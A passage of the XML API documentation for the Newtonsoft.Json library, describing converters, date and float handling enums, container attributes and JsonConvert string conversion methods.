non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member 